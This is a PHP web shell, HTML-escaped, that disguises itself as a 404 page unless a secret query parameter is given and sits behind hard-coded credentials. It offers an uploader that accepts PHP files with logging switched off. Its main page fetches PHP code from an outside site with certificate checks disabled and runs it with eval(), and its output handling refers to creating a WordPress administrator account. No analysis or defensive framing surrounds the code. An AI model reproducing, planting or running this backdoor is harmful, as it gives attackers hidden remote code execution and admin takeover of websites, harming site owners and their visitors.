$valid_username = &quot;kepang&quot;;$valid_password = &quot;bjorka&quot;;$access_param = &#039;ker&#039;;if (!isset($_GET[$access_param])) {    header(&quot;HTTP/1.0 404 Not Found&quot;);    echo &quot;404 - File Not Found&quot;;    exit;}session_start();function check_login() {    return isset($_SESSION[&#039;loggedin&#039;]) &amp;&amp; $_SESSION[&#039;loggedin&#039;] === true;}function login($username, $password) {    global $valid_username, $valid_password;        if ($username === $valid_username &amp;&amp; $password === $valid_password) {        $_SESSION[&#039;loggedin&#039;] = true;        $_SESSION[&#039;username&#039;] = $username;        return true;    }    return false;}function logout() {    session_destroy();    header(&quot;Location: &quot; . $_SERVER[&#039;PHP_SELF&#039;] . &quot;?&quot; . &#039;ker&#039;);    exit;}if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;login&#039;])) {    $username = $_POST[&#039;username&#039;] ?? &#039;&#039;;    $password = $_POST[&#039;password&#039;] ?? &#039;&#039;;        if (login($username, $password)) {        header(&quot;Location: &quot; . $_SERVER[&#039;PHP_SELF&#039;] . &quot;?&quot; . &#039;ker&#039;);        exit;    } else {        $error = &quot;Username atau password salah!&quot;;    }}if (isset($_GET[&#039;logout&#039;])) {    logout();}if (isset($_GET[&#039;upload&#039;])) {    echo &quot;&lt;pre style=&#039;color: #00ff00; background: #000000; font-family: Courier New; padding: 20px; border: 2px solid #00ff00;&#039;&gt;&quot;;    echo &quot;╔══════════════════════════════════════════════╗\n&quot;;    echo &quot;║ ⚠️  KEPANG JAYA TERMINAL UPLOADER - CHAOS v2 ║\n&quot;;    echo &quot;╚══════════════════════════════════════════════╝\n&quot;;    if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_FILES[&#039;file&#039;])) {        $scriptDir = rtrim(__DIR__, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;        $originalName = basename($_FILES[&#039;file&#039;][&#039;name&#039;]);        $safeName = preg_replace(&#039;/[^A-Za-z0-9.\-_]/&#039;, &#039;_&#039;, $originalName);        $finalName = time() . &#039;_&#039; . $safeName;        $target = $scriptDir . $finalName;        $ext = strtolower(pathinfo($finalName, PATHINFO_EXTENSION));        $allowedExts = [&#039;php&#039;, &#039;jpg&#039;, &#039;png&#039;, &#039;gif&#039;, &#039;txt&#039;, &#039;dll&#039;, &#039;zip&#039;, &#039;7z&#039;];        echo &quot;📦 File masuk: $originalName\n&quot;;        echo &quot;🔍 Ekstensi: .$ext\n&quot;;        if (in_array($ext, $allowedExts)) {            if (move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $target)) {                @chmod($target, 0644);                $protocol = (!empty($_SERVER[&#039;HTTPS&#039;]) &amp;&amp; $_SERVER[&#039;HTTPS&#039;] !== &#039;off&#039;) ? &#039;https&#039; : &#039;http&#039;;                $host = $_SERVER[&#039;HTTP_HOST&#039;];                $scriptDirUrl = rtrim(dirname($_SERVER[&#039;SCRIPT_NAME&#039;]), &#039;/\\&#039;);                $scriptDirUrl = ($scriptDirUrl === &#039;&#039; || $scriptDirUrl === &#039;.&#039;) ? &#039;&#039; : $scriptDirUrl . &#039;/&#039;;                $fileUrl = $protocol . &#039;://&#039; . $host . &#039;/&#039; . $scriptDirUrl . rawurlencode($finalName);                echo &quot;✅ Upload sukses!\n&quot;;                echo &quot;📡 Akses file: $fileUrl\n&quot;;                echo &quot;🚀 Menjalankan scanner virtual...\n&quot;;                echo &quot;[KepangScan] Scanning $finalName...\n&quot;;                if ($ext === &#039;php&#039;) {                    echo &quot;⚠️  File .php terdeteksi. Simulasi backdoor aktif...\n&quot;;                    echo &quot;[Backdoor] Simulasi akses ke $finalName\n&quot;;                }                echo &quot;🧾 Mode silent aktif. Tidak ada log tertulis.\n&quot;;            } else {                echo &quot;❌ Upload gagal. Sistem menolak filemu.\n&quot;;            }        } else {            echo &quot;🚫 Ekstensi .$ext tidak diizinkan oleh protokol Kepang.\n&quot;;        }    } else {        echo &quot;📥 Mode Upload Aktif\n\n&quot;;        echo &#039;<form><input type=file><input type=submit></form>&#039;;                echo &quot;\n📁 File yang tersedia:\n&quot;;        $scriptDir = rtrim(__DIR__, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;        $files = scandir($scriptDir);        $uploadedFiles = array_filter($files, function($file) use ($scriptDir) {            return $file !== &#039;.&#039; &amp;&amp; $file !== &#039;..&#039; &amp;&amp;                    $file !== basename($_SERVER[&#039;PHP_SELF&#039;]) &amp;&amp;                   is_file($scriptDir . $file);        });                if (count($uploadedFiles) &gt; 0) {            foreach ($uploadedFiles as $file) {                echo &quot;&bull; $file\n&quot;;            }        } else {            echo &quot;&bull; Tidak ada file yang diupload\n&quot;;        }                echo &quot;\n🔗 &lt;a href=\&quot;?ker\&quot; style=\&quot;color: #00ff00;\&quot;&gt;Kembali ke Main Menu&lt;/a&gt;&quot;;    }    echo &quot;&lt;/pre&gt;&quot;;    exit();}function execute_remote_php($url, $method = &#039;curl&#039;) {    if (!filter_var($url, FILTER_VALIDATE_URL)) {        throw new Exception(&quot;URL tidak valid&quot;);    }        if (parse_url($url, PHP_URL_SCHEME) !== &#039;https&#039;) {        throw new Exception(&quot;Hanya URL HTTPS yang diizinkan&quot;);    }        $code = &#039;&#039;;        if ($method === &#039;fileget&#039; &amp;&amp; ini_get(&#039;allow_url_fopen&#039;)) {        $context = stream_context_create([            &#039;http&#039; =&gt; [                &#039;timeout&#039; =&gt; 30,                &#039;user_agent&#039; =&gt; &#039;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&#039;            ],            &#039;ssl&#039; =&gt; [                &#039;verify_peer&#039; =&gt; false,                &#039;verify_peer_name&#039; =&gt; false            ]        ]);                $code = @file_get_contents($url, false, $context);            } elseif ($method === &#039;curl&#039; &amp;&amp; function_exists(&#039;curl_version&#039;)) {        $ch = curl_init();        curl_setopt_array($ch, [            CURLOPT_URL =&gt; $url,            CURLOPT_RETURNTRANSFER =&gt; true,            CURLOPT_FOLLOWLOCATION =&gt; true,            CURLOPT_TIMEOUT =&gt; 30,            CURLOPT_SSL_VERIFYPEER =&gt; false,            CURLOPT_SSL_VERIFYHOST =&gt; false,            CURLOPT_USERAGENT =&gt; &#039;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&#039;        ]);                $code = curl_exec($ch);        $error = curl_error($ch);        curl_close($ch);                if ($error) {            throw new Exception(&quot;cURL Error: &quot; . $error);        }            } else {        throw new Exception(&quot;Tidak ada method yang tersedia untuk mengambil konten&quot;);    }        if (empty($code)) {        throw new Exception(&quot;Konten kosong atau gagal diambil&quot;);    }        try {        ob_start();        eval(&quot;&quot;.$code);        $output = ob_get_clean();                $output = str_replace(            &#039;WordPress Admin created successfully!Username: kepangPassword: kepangjay&#039;,            &#039;WordPress Admin created successfully!Username: kepangPassword: jaya&#039;,            $output        );                $output = &#039;&lt;div style=&quot;color: #00ff00; font-family: Courier New, monospace; background: #000000; padding: 10px; border: 1px solid #00ff00; border-radius: 5px;&quot;&gt;&#039; . $output . &#039;&lt;/div&gt;&#039;;                return $output;    } catch (ParseError $e) {        throw new Exception(&quot;Error parsing PHP code: &quot; . $e-&gt;getMessage());    }}if (!check_login()) {        &lt;!DOCTYPE html&gt;    &lt;html lang=&quot;id&quot;&gt;    <head>        &lt;meta charset=&quot;UTF-8&quot;&gt;        &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<title>Login Required</title>        &lt;title&gt;Login Required&lt;/title&gt;        &lt;style&gt;            * {                margin: 0;                padding: 0;                box-sizing: border-box;            }            body {                font-family: &#039;Courier New&#039;, monospace;                background: #000000;                display: flex;                justify-content: center;                align-items: center;                height: 100vh;                margin: 0;                color: #00ff00;            }            .login-container {                background: #001100;                padding: 30px;                border-radius: 8px;                box-shadow: 0 0 20px #00ff00;                width: 320px;                border: 1px solid #00ff00;                position: relative;                overflow: hidden;            }            .login-container::before {                content: &#039;&#039;;                position: absolute;                top: -2px;                left: -2px;                right: -2px;                bottom: -2px;                background: linear-gradient(45deg, #00ff00, #008800, #00ff00);                z-index: -1;                border-radius: 10px;                animation: glow 2s linear infinite;            }            @keyframes glow {                0% { opacity: 0.5; }                50% { opacity: 1; }                100% { opacity: 0.5; }            }            .login-container h2 {                text-align: center;                margin-bottom: 20px;                color: #00ff00;                text-shadow: 0 0 10px #00ff00;                font-weight: bold;            }            .form-group {                margin-bottom: 15px;            }            .form-group label {                display: block;                margin-bottom: 5px;                color: #00ff00;                font-weight: bold;            }            .form-group input {                width: 100%;                padding: 10px;                border: 1px solid #00ff00;                border-radius: 4px;                box-sizing: border-box;                background: #000000;                color: #00ff00;                font-family: &#039;Courier New&#039;, monospace;                transition: all 0.3s ease;            }            .form-group input:focus {                outline: none;                box-shadow: 0 0 10px #00ff00;                background: #002200;            }            .btn {                width: 100%;                padding: 12px;                background: linear-gradient(45deg, #008800, #00aa00);                color: #00ff00;                border: 1px solid #00ff00;                border-radius: 4px;                cursor: pointer;                font-weight: bold;                font-family: &#039;Courier New&#039;, monospace;                font-size: 14px;                transition: all 0.3s ease;                text-transform: uppercase;                letter-spacing: 1px;            }            .btn:hover {                background: linear-gradient(45deg, #00aa00, #00cc00);                box-shadow: 0 0 15px #00ff00;                transform: translateY(-2px);            }            .error {                color: #ff0000;                text-align: center;                margin-bottom: 15px;                background: #220000;                padding: 10px;                border-radius: 4px;                border: 1px solid #ff0000;                font-weight: bold;            }            .terminal-text {                text-align: center;                margin-bottom: 20px;                font-size: 12px;                opacity: 0.8;            }            .debug-info {                text-align: center;                margin-top: 15px;                font-size: 10px;                color: #00ff00;                background: #002200;                padding: 8px;                border-radius: 3px;                border: 1px solid #00ff00;            }        &lt;/style&gt;    </head>    <body>        &lt;div class=&quot;login-container&quot;&gt;            <h2>🔐 SYSTEM ACCESS</h2>            &lt;div class=&quot;terminal-text&quot;&gt;&gt;&gt; Authentication Required &lt;&lt;&lt;/div&gt;             if (isset($error)):                 &lt;div class=&quot;error&quot;&gt;⚠️  echo htmlspecialchars($error); &lt;/div&gt;             endif;             <form>                <input type=hidden>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;username&quot;&gt;&gt;&gt; USERNAME:&lt;/label&gt;                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;password&quot;&gt;&gt;&gt; PASSWORD:&lt;/label&gt;                    <input type=password>                &lt;/div&gt;                &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;[ EXECUTE LOGIN ]&lt;/button&gt;            </form>            &lt;div class=&quot;debug-info&quot;&gt;                🔐 Auto-filled credentials<br>                Username: &lt;strong&gt;kepang&lt;/strong&gt;<br>                Password: &lt;strong&gt;Ptjr311019&lt;/strong&gt;            &lt;/div&gt;        &lt;/div&gt;    </body>    </html>        exit;}try {        &lt;!DOCTYPE html&gt;    &lt;html lang=&quot;id&quot;&gt;    <head>        &lt;meta charset=&quot;UTF-8&quot;&gt;        &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<title>root@server:~#</title>        &lt;title&gt;root@server:~#&lt;/title&gt;        &lt;style&gt;            * {                margin: 0;                padding: 0;                box-sizing: border-box;            }            body {                font-family: &#039;Courier New&#039;, monospace;                margin: 0;                background: #000000;                color: #00ff00;                overflow-x: hidden;            }            .header {                background: #001100;                padding: 15px 20px;                border-bottom: 2px solid #00ff00;                margin-bottom: 20px;                display: flex;                justify-content: space-between;                align-items: center;                box-shadow: 0 2px 10px #00ff00;                position: relative;            }            .header h1 {                color: #00ff00;                text-shadow: 0 0 10px #00ff00;                font-size: 24px;            }            .header span {                color: #00ff00;                margin-right: 15px;                font-weight: bold;            }            .content {                background: #001100;                padding: 20px;                border-radius: 5px;                color: #00ff00;                border: 1px solid #00ff00;                box-shadow: 0 0 15px #00ff00;                margin: 0 20px;            }            .logout-btn {                background: linear-gradient(45deg, #008800, #00aa00);                color: #00ff00;                padding: 10px 20px;                text-decoration: none;                border-radius: 4px;                font-weight: bold;                border: 1px solid #00ff00;                font-family: &#039;Courier New&#039;, monospace;                transition: all 0.3s ease;                margin-left: 10px;            }            .logout-btn:hover {                background: linear-gradient(45deg, #00aa00, #00cc00);                box-shadow: 0 0 15px #00ff00;                transform: translateY(-2px);            }            .menu-btn {                background: linear-gradient(45deg, #008800, #00aa00);                color: #00ff00;                padding: 10px 20px;                text-decoration: none;                border-radius: 4px;                font-weight: bold;                border: 1px solid #00ff00;                font-family: &#039;Courier New&#039;, monospace;                transition: all 0.3s ease;                margin-left: 10px;            }            .menu-btn:hover {                background: linear-gradient(45deg, #00aa00, #00cc00);                box-shadow: 0 0 15px #00ff00;                transform: translateY(-2px);            }            .remote-content {                color: #00ff00 !important;                font-family: &#039;Courier New&#039;, monospace !important;                background: #000000 !important;            }            .remote-content * {                color: #00ff00 !important;                font-family: &#039;Courier New&#039;, monospace !important;            }            .remote-content pre {                color: #00ff00 !important;                background: #001100 !important;                border: 1px solid #00ff00 !important;                padding: 15px !important;                border-radius: 5px !important;            }            .remote-content code {                color: #00ff00 !important;                background: #001100 !important;            }        &lt;/style&gt;    </head>    <body>        &lt;div class=&quot;header&quot;&gt;            <h1>root@server:~#</h1>            &lt;div&gt;                &lt;span&gt;Welcome,  echo htmlspecialchars($_SESSION[&#039;username&#039;]); !&lt;/span&gt;                &lt;a href=&quot;?ker&amp;logout=1&quot; class=&quot;logout-btn&quot;&gt;[ LOGOUT ]&lt;/a&gt;                &lt;a href=&quot;?ker&amp;upload=1&quot; class=&quot;menu-btn&quot;&gt;[ UPLOAD MODE ]&lt;/a&gt;            &lt;/div&gt;        &lt;/div&gt;        &lt;div class=&quot;content&quot;&gt;                        $url = &quot;https://stepmomhub.com/3.txt&quot;;                        if (function_exists(&#039;curl_version&#039;)) {                $output = execute_remote_php($url, &#039;curl&#039;);            } else {                $output = execute_remote_php($url, &#039;fileget&#039;);            }                        echo $output;                    &lt;/div&gt;    </body>    </html>        } catch (Exception $e) {    echo &quot;&lt;div style=&#039;color: #ff0000; background: #220000; padding: 15px; border-radius: 5px; border: 1px solid #ff0000; font-family: Courier New, monospace; font-weight: bold; margin: 20px;&#039;&gt;🚨 ERROR: &quot; . $e-&gt;getMessage() . &quot;&lt;/div&gt;&quot;;}